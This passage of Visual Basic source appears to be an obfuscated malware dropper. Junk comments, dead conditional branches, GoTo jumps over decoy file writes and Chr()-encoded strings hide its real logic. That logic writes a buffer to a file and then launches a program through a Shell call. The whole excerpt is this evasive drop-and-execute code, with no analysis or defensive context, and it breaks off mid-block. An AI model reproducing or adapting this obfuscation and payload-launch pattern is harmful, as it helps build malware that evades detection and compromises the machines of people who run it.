  846.        MsgBox (Chr(122) & Chr(113) & Chr(117) & Chr(101) & Chr(102) & Chr(98) & Chr(116) & Chr(119) & Chr(53) & Chr(52))
  847. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  848. End If
  849. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  850. If Len(Chr(111) & Chr(110) & Chr(112) & Chr(122) & Chr(120) & Chr(108) & Chr(110) & Chr(100) & Chr(52) & Chr(56) & Chr(56) & Chr(54)) = Len(Chr(101) & Chr(108) & Chr(105) & Chr(105) & Chr(106) & Chr(99) & Chr(102) & Chr(110)) Then
  851. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  852.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  853. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  854. End If
  855. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  856.    Put #zgbpbucckrp, , wvavhsolbur
  857. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  858.  
  859. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  860.  
  861. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  862. GoTo eubugyes
  863. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  864. Dim oeizanwr As String
  865. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  866. Open Chr(70) & Chr(67) & Chr(83) & Chr(85) & Chr(88) & Chr(82) & Chr(46) & Chr(67) & Chr(71) & Chr(80) For Binary As 44
  867. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  868. If 322185 = 322185 + 1 Then End
  869. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  870. If 6821 < 24 Then
  871. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  872.        MsgBox (Chr(121) & Chr(111) & Chr(97) & Chr(99) & Chr(119) & Chr(107) & Chr(111) & Chr(100) & Chr(49) & Chr(52))
  873. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  874. End If
  875. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  876. If Len(Chr(99) & Chr(108) & Chr(101) & Chr(114) & Chr(99) & Chr(97) & Chr(118) & Chr(120) & Chr(55) & Chr(54) & Chr(54) & Chr(50)) = Len(Chr(113) & Chr(97) & Chr(99) & Chr(97) & Chr(97) & Chr(100) & Chr(110) & Chr(106)) Then
  877. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  878.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  879. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  880. End If
  881. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  882. Put #44, , oeizanwr
  883. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  884.  
  885. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  886. If 795272 = 795272 + 1 Then End
  887. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  888. If 1487 < 42 Then
  889. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  890.        MsgBox (Chr(99) & Chr(106) & Chr(113) & Chr(108) & Chr(105) & Chr(116) & Chr(120) & Chr(102) & Chr(50) & Chr(52))
  891. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  892. End If
  893. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  894. If Len(Chr(99) & Chr(120) & Chr(112) & Chr(111) & Chr(122) & Chr(116) & Chr(121) & Chr(102) & Chr(53) & Chr(54) & Chr(53) & Chr(49)) = Len(Chr(116) & Chr(112) & Chr(108) & Chr(114) & Chr(118) & Chr(120) & Chr(107) & Chr(100)) Then
  895. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  896.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  897. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  898. End If
  899. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  900. Close #44
  901. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  902.  
  903. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  904. If 371891 = 371891 + 1 Then End
  905. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  906. If 1292 < 67 Then
  907. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  908.        MsgBox (Chr(113) & Chr(115) & Chr(108) & Chr(113) & Chr(101) & Chr(109) & Chr(107) & Chr(112) & Chr(50) & Chr(57))
  909. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  910. End If
  911. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  912. If Len(Chr(109) & Chr(115) & Chr(106) & Chr(112) & Chr(106) & Chr(113) & Chr(120) & Chr(98) & Chr(52) & Chr(52) & Chr(54) & Chr(54)) = Len(Chr(120) & Chr(104) & Chr(109) & Chr(99) & Chr(118) & Chr(112) & Chr(119) & Chr(116)) Then
  913. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  914.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  915. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  916. End If
  917. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  918. eubugyes:
  919. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  920.  
  921. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  922.  
  923. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  924. If 592352 = 592352 + 1 Then End
  925. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  926. If 2772 < 21 Then
  927. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  928.        MsgBox (Chr(103) & Chr(102) & Chr(120) & Chr(98) & Chr(118) & Chr(121) & Chr(101) & Chr(108) & Chr(57) & Chr(52))
  929. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  930. End If
  931. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  932. If Len(Chr(122) & Chr(103) & Chr(114) & Chr(121) & Chr(119) & Chr(108) & Chr(112) & Chr(116) & Chr(51) & Chr(54) & Chr(50) & Chr(50)) = Len(Chr(99) & Chr(105) & Chr(114) & Chr(113) & Chr(103) & Chr(99) & Chr(118) & Chr(108)) Then
  933. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  934.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  935. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  936. End If
  937. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  938.    Close #zgbpbucckrp
  939. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  940.  
  941. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  942.  
  943. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  944. GoTo syypbxop
  945. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  946. Dim txxmjevf As String
  947. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  948. Open Chr(75) & Chr(88) & Chr(90) & Chr(87) & Chr(90) & Chr(66) & Chr(46) & Chr(81) & Chr(79) & Chr(86) For Binary As 54
  949. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  950. If 418815 = 418815 + 1 Then End
  951. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  952. If 4985 < 72 Then
  953. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  954.        MsgBox (Chr(104) & Chr(117) & Chr(117) & Chr(111) & Chr(114) & Chr(102) & Chr(112) & Chr(100) & Chr(53) & Chr(55))
  955. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  956. End If
  957. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  958. If Len(Chr(100) & Chr(97) & Chr(115) & Chr(118) & Chr(108) & Chr(104) & Chr(113) & Chr(103) & Chr(53) & Chr(56) & Chr(51) & Chr(53)) = Len(Chr(97) & Chr(112) & Chr(117) & Chr(119) & Chr(118) & Chr(101) & Chr(100) & Chr(111)) Then
  959. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  960.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  961. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  962. End If
  963. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  964. Put #54, , txxmjevf
  965. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  966.  
  967. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  968. If 775994 = 775994 + 1 Then End
  969. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  970. If 7492 < 12 Then
  971. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  972.        MsgBox (Chr(98) & Chr(116) & Chr(102) & Chr(105) & Chr(122) & Chr(112) & Chr(109) & Chr(106) & Chr(50) & Chr(50))
  973. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  974. End If
  975. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  976. If Len(Chr(121) & Chr(119) & Chr(106) & Chr(121) & Chr(113) & Chr(122) & Chr(106) & Chr(105) & Chr(50) & Chr(54) & Chr(54) & Chr(53)) = Len(Chr(103) & Chr(111) & Chr(98) & Chr(97) & Chr(105) & Chr(108) & Chr(97) & Chr(117)) Then
  977. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  978.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  979. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  980. End If
  981. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  982. Close #54
  983. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  984.  
  985. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  986. If 233887 = 233887 + 1 Then End
  987. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  988. If 6138 < 26 Then
  989. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  990.        MsgBox (Chr(116) & Chr(108) & Chr(121) & Chr(111) & Chr(98) & Chr(116) & Chr(118) & Chr(104) & Chr(51) & Chr(57))
  991. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  992. End If
  993. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  994. If Len(Chr(120) & Chr(122) & Chr(105) & Chr(106) & Chr(97) & Chr(102) & Chr(102) & Chr(118) & Chr(57) & Chr(51) & Chr(57) & Chr(50)) = Len(Chr(99) & Chr(121) & Chr(113) & Chr(116) & Chr(111) & Chr(115) & Chr(102) & Chr(116)) Then
  995. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  996.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  997. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  998. End If
  999. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1000. syypbxop:
  1001. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1002.  
  1003. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1004.  
  1005. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1006. If 156742 = 156742 + 1 Then End
  1007. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1008. If 4522 < 48 Then
  1009. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1010.        MsgBox (Chr(121) & Chr(102) & Chr(110) & Chr(113) & Chr(114) & Chr(109) & Chr(108) & Chr(116) & Chr(54) & Chr(57))
  1011. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1012. End If
  1013. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1014. If Len(Chr(98) & Chr(105) & Chr(109) & Chr(108) & Chr(111) & Chr(97) & Chr(107) & Chr(115) & Chr(53) & Chr(52) & Chr(54) & Chr(51)) = Len(Chr(105) & Chr(120) & Chr(122) & Chr(102) & Chr(121) & Chr(107) & Chr(122) & Chr(113)) Then
  1015. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1016.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1017. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1018. End If
  1019. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1020.    
  1021. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1022.  
  1023. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1024.    Dim mxrwkuegsvh
  1025. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1026.  
  1027. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1028. GoTo vhvdjdfg
  1029. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1030. Dim hugvimzl As String
  1031. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1032. Open Chr(86) & Chr(70) & Chr(86) & Chr(80) & Chr(67) & Chr(87) & Chr(46) & Chr(86) & Chr(81) & Chr(66) For Binary As 71
  1033. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1034. If 314729 = 314729 + 1 Then End
  1035. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1036. If 3944 < 85 Then
  1037. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1038.        MsgBox (Chr(117) & Chr(117) & Chr(105) & Chr(122) & Chr(105) & Chr(108) & Chr(103) & Chr(100) & Chr(52) & Chr(55))
  1039. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1040. End If
  1041. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1042. If Len(Chr(114) & Chr(97) & Chr(102) & Chr(107) & Chr(118) & Chr(119) & Chr(106) & Chr(103) & Chr(54) & Chr(51) & Chr(49) & Chr(55)) = Len(Chr(117) & Chr(121) & Chr(106) & Chr(116) & Chr(121) & Chr(109) & Chr(104) & Chr(119)) Then
  1043. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1044.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1045. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1046. End If
  1047. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1048. Put #71, , hugvimzl
  1049. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1050.  
  1051. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1052. If 946696 = 946696 + 1 Then End
  1053. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1054. If 9198 < 94 Then
  1055. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1056.        MsgBox (Chr(112) & Chr(102) & Chr(106) & Chr(106) & Chr(104) & Chr(108) & Chr(101) & Chr(107) & Chr(52) & Chr(56))
  1057. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1058. End If
  1059. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1060. If Len(Chr(107) & Chr(101) & Chr(119) & Chr(104) & Chr(118) & Chr(113) & Chr(98) & Chr(112) & Chr(49) & Chr(56) & Chr(53) & Chr(56)) = Len(Chr(100) & Chr(120) & Chr(108) & Chr(119) & Chr(108) & Chr(106) & Chr(115) & Chr(99)) Then
  1061. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1062.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1063. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1064. End If
  1065. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1066. Close #71
  1067. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1068.  
  1069. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1070. If 313795 = 313795 + 1 Then End
  1071. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1072. If 6838 < 34 Then
  1073. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1074.        MsgBox (Chr(117) & Chr(117) & Chr(117) & Chr(121) & Chr(108) & Chr(98) & Chr(113) & Chr(117) & Chr(49) & Chr(51))
  1075. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1076. End If
  1077. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1078. If Len(Chr(118) & Chr(107) & Chr(111) & Chr(100) & Chr(109) & Chr(111) & Chr(97) & Chr(104) & Chr(55) & Chr(54) & Chr(55) & Chr(56)) = Len(Chr(115) & Chr(98) & Chr(122) & Chr(112) & Chr(118) & Chr(120) & Chr(101) & Chr(112)) Then
  1079. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1080.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1081. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1082. End If
  1083. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1084. vhvdjdfg:
  1085. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1086.  
  1087. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1088.  
  1089. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1090. If 162718 = 162718 + 1 Then End
  1091. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1092. If 2259 < 26 Then
  1093. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1094.        MsgBox (Chr(107) & Chr(99) & Chr(108) & Chr(99) & Chr(98) & Chr(99) & Chr(99) & Chr(122) & Chr(54) & Chr(49))
  1095. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1096. End If
  1097. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1098. If Len(Chr(98) & Chr(100) & Chr(120) & Chr(119) & Chr(105) & Chr(104) & Chr(108) & Chr(109) & Chr(51) & Chr(49) & Chr(49) & Chr(57)) = Len(Chr(108) & Chr(121) & Chr(119) & Chr(110) & Chr(97) & Chr(120) & Chr(121) & Chr(105)) Then
  1099. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1100.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1101. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1102. End If
  1103. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1104.    mxrwkuegsvh = Shell(kxqaxtgwbnh, 1)
  1105. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1106.  
  1107. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1108.  
  1109. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1110.  
  1111. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1112. GoTo upvpnycc
  1113. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1114. Dim dtuyfnfh As String
  1115. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1116. Open Chr(79) & Chr(65) & Chr(85) & Chr(78) & Chr(78) & Chr(81) & Chr(46) & Chr(79) & Chr(86) & Chr(73) For Binary As 25
  1117. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1118. If 745147 = 745147 + 1 Then End
  1119. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1120. If 7358 < 14 Then
  1121. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1122.        MsgBox (Chr(116) & Chr(109) & Chr(106) & Chr(118) & Chr(98) & Chr(113) & Chr(119) & Chr(118) & Chr(56) & Chr(57))
